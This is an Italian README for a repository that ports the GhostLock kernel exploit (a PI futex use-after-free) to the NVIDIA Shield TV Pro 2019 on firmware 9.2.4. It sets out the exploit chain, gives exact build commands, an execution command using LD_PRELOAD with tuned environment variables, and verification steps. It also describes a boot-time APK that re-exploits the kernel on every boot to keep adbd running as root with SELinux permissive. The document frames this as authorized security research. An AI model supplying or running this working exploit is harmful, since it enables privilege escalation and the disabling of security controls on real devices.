GhostLock per NVIDIA Shield TV Pro 9.2.4

Porting arm64 validato di GhostLock, use-after-free del futex PI (CVE-2026-43499), per NVIDIA Shield TV Pro 2019 (mdarcy) con Shield Experience 9.2.4. Il payload modifica le credenziali del demone ADB attivo, così le nuove shell ADB hanno UID 0 senza sblocco del bootloader, wipe dei dati utente, installazione di su o modifica delle partizioni verificate.

Questo è un exploit del kernel specifico per una build, destinato a ricerca sulla sicurezza autorizzata. Un disallineamento o una race persa possono causare un panic del kernel. Non eseguirlo su un altro fingerprint, kernel, dispositivo o revisione hardware.

Target validato

Campo	Valore richiesto
Prodotto	NVIDIA Shield TV Pro 2019, `mdarcy`
Fingerprint	`NVIDIA/mdarcy/mdarcy:11/RQ1A.210105.003/7825230_4387.0822:user/release-keys`
Kernel	`4.9.141-tegra-gb6e5605a`
Livello patch Android	`2026-01-05`
Base kernel	`0xffffff8008080000` (offset disabilitato)

Il porting è stato validato su un dispositivo bloccato con Verified Boot verde e dm-verity attivo. Questi meccanismi restano intatti perché l'exploit modifica solo lo stato live del kernel.

Risultato e durata

Dopo un'esecuzione riuscita, una nuova connessione riporta UID/GID 0 sia per adbd che per la sua shell figlia, capacità complete fino alla capacità 37, seccomp disabilitato e SELinux permissivo. Il root sopravvive alle disconnessioni del client ADB. Non sopravvive a un riavvio di adbd o a un riavvio del dispositivo da solo.

Per una persistenza pratica attraverso i riavvii senza modificare le partizioni verificate, il repository include un APK nei dati utente. Il suo receiver BOOT_COMPLETED non esportato avvia un servizio in primo piano di breve durata, che esegue l'exploit con hash pinnato una volta per avvio da un UID di app non privilegiato e si ferma quando il runner esce. Nessun host esterno è necessario dopo l'installazione. Un watchdog esterno Podman rimane disponibile come fallback di recupero. Vedi persistence/README.md e watchdog/README.md.

Questo è un re-exploit autonomo, non una patch firmware statica: ogni avvio ha un breve intervallo in cui adbd ha ancora le sue credenziali stock. Far avviare adbd come root prima che Android lo inizializzi richiederebbe di modificare la catena di boot verificata, il che è fuori da questo design bloccato e senza wipe.

Catena dell'exploit

Attivare il percorso di rollback vulnerabile del futex PI e mantenere un rt_mutex_waiter stantio su uno stack del kernel.
Marcare lo stack recuperato con MCAST_BLOCK_SOURCE e reindirizzare l' operazione sull'albero rt-mutex.
Recuperare una pagina slab order-2 mm_struct liberata con un payload skb sagomato.
Reindirizzare ashmem_misc.fops a una tabella fittizia supportata dagli handler di lettura/scrittura legacy di configfs.
Attraversare la lista dei task, individuare il PID adbd richiesto e verificare il suo oggetto credenziali completo.
Eseguire una singola scrittura limitata su ID, securebits e parole di capacità; rendere SELinux permissivo; quindi ripristinare le operazioni ashmem e il puntatore all'ID di boot.

Lo stadio ereditato di lettura/scrittura fisica del pipe buffer non viene usato. Osservazioni dettagliate sul target e offset verificati sono in PORT_STATUS.md.

Build

Il compilatore è Android NDK r29 (aarch64-linux-android30-clang). Compila direttamente con un NDK Linux installato:

cd exploit
make NDK=/opt/android-ndk-r29

Oppure compila l'immagine Podman fornita, che scarica l'archivio Linux ufficiale r29 e verifica il suo SHA-1 pubblicato prima dell'estrazione:

podman build -t ghostlock-android:ndk-r29 -f build/Containerfile .
podman run --rm \
  -v "$PWD:/src:Z" \
  -w /src/exploit \
  ghostlock-android:ndk-r29 make -B

Output:

exploit/build/preload-mdarcy-9.2.4.so
SHA-256 a3a1e75b627d8dd419e9bafd2a73082a8647510bf6ce4f975e52baf5aa1d0761

La build Shield esclude intenzionalmente il demone su incorporato del progetto di riferimento e il payload dello sfondo.

Esecuzione

Connettiti tramite ADB di rete autorizzato, invia l'asset di release o la build locale, poi entra in una shell ADB:

adb connect SHIELD_ADDRESS:5555
adb -s SHIELD_ADDRESS:5555 push \
  exploit/build/preload-mdarcy-9.2.4.so \
  /data/local/tmp/preload-mdarcy-9.2.4.so
adb -s SHIELD_ADDRESS:5555 shell chmod 0755 \
  /data/local/tmp/preload-mdarcy-9.2.4.so
adb -s SHIELD_ADDRESS:5555 shell

Esegui questo all'interno della shell del dispositivo:

GHOSTLOCK_FIXED_BASE=1 \
GHOSTLOCK_MAIN_ROUTE=slide-mcast \
GHOSTLOCK_SLIDE_FULL_LOCK=1 \
GHOSTLOCK_MIXED_ORDER_PAYLOAD=1 \
GHOSTLOCK_MM_PARTIALS=14 \
GHOSTLOCK_BUDDY_HOLD_PAIRS=256 \
GHOSTLOCK_BUDDY_HOLD_SENDS=8192 \
GHOSTLOCK_RECLAIM_PAIRS=64 \
GHOSTLOCK_RECLAIM_SENDS=2048 \
GHOSTLOCK_ADBD_ROOT_CONFIGFS=1 \
GHOSTLOCK_ADBD_PID="$(pidof adbd)" \
LD_PRELOAD=/data/local/tmp/preload-mdarcy-9.2.4.so \
/system/bin/true

Disconnetti e apri un nuovo trasporto per la verifica:

adb disconnect SHIELD_ADDRESS:5555
adb connect SHIELD_ADDRESS:5555
adb -s SHIELD_ADDRESS:5555 shell id
adb -s SHIELD_ADDRESS:5555 shell \
  'grep -E "^(Uid|Gid|Cap(Inh|Prm|Eff|Bnd|Amb)|Seccomp):" /proc/$(pidof adbd)/status'

Il payload rifiuta di riattivarsi da una shell ADB già UID 0 a meno che GHOSTLOCK_FORCE_ROOT_TRIGGER=1 non venga fornito deliberatamente. Non forzarlo; il percorso di scheduling privilegiato ha un comportamento PI diverso e può causare panic.

Persistenza sul dispositivo

Scarica l'APK di release firmato in persistence/app/build/ghostlock-boot-mdarcy-9.2.4.apk, poi installalo e armalo da un host ADB PowerShell autorizzato:

./persistence/install.ps1 `
  -Target SHIELD_ADDRESS:5555 `
  -AdbPath C:/path/to/platform-tools/adb.exe

L'installer modifica solo i dati utente e non riavvia. Al successivo BOOT_COMPLETED, l'app valida il fingerprint esatto, il kernel e l'hash del payload incorporato, registra il suo tentativo e invoca GhostLock dal suo normale UID di app. Un file lock, uno stato di un tentativo per avvio e un cooldown di 15 minuti tra gli avvii impediscono tentativi duplicati o loop di riavvio. Non installa alcun binario su. Android mostra una notifica a bassa priorità Ripristino root ADB solo mentre il runner nativo è attivo; il waiter la rimuove quando il processo esce. Vedi persistence/README.md per dettagli su build, firma, log, verifica, recupero e disinstallazione.

L'APK finale è stato validato con il watchdog esterno fermato: il conteggio di avvio 134 ha esposto per primo adbd stock UID-2000/enforcing, e il successivo nuovo trasporto era UID/GID 0 con la maschera di capacità completa 0x3fffffffff, seccomp disabilitato e SELinux permissivo. Il servizio e la notifica si erano ripuliti da soli.

Log e recupero

La diagnostica dell'esecuzione manuale viene scritta in modo sincrono in /sdcard/Download/log_<timestamp>.txt, con fallback su /data/local/tmp. L'app di boot reindirizza l'output del runner e del payload al suo files/boot.log privato, leggibile con run-as com.cyberbalsa.ghostlockboot. Se la race causa un panic del kernel, lo stato pre-trigger impedisce un altro tentativo in quel conteggio di avvio e il cooldown di 15 minuti persiste attraverso il riavvio.

Mappa del repository

exploit/src/: trigger, recupero, lettura/scrittura arbitraria e patch limitata delle credenziali di adbd.
exploit/targets/shield-mdarcy-9.2.4/: layout esatto del target specifico per build.
analysis/: helper per l'estrazione di simboli e layout del kernel.
persistence/: APK di boot sul dispositivo, runner nativo e installer.
watchdog/: fallback di recupero lato host con hash pinnato.
report.md: analisi originale del porting di riferimento OPPO conservata per provenienza.

Crediti e licenza

Questo porting deriva dal framework di ricerca ed exploit GhostLock pubblicato da NebuSec e dal porting di riferimento OPPO PCKM00 di yijiacloud. KernelSnitch è incorporato secondo i suoi termini a monte.

Apache-2.0; vedi LICENSE.

Più Popolari

GhostLock-NVIDIA-Shield-9.2.4